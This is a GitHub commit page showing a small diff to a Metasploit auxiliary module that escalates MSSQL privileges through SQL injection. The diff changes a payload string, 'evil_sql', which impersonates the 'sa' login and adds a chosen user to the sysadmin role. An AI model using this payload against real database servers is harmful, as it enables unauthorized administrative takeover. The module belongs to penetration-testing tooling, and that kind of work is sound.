We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents b0a8fd8 + 00dbcc1 commit ac0e23dCopy full SHA for ac0e23d
modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb
@@ -190,10 +190,10 @@ def check_imp_sysadmin(imp_user_list)
190
end
191
192
# Attempt to escalate privileges
193
- def escalate_privs(imp_user,db_user)
+ def escalate_privs(db_user)
194
195
# Setup Query - Impersonate the first sysadmin user on the list
196
- evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
+ evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"
197
198
# Execute Query
199
mssql_query(evil_sql)
0 commit comments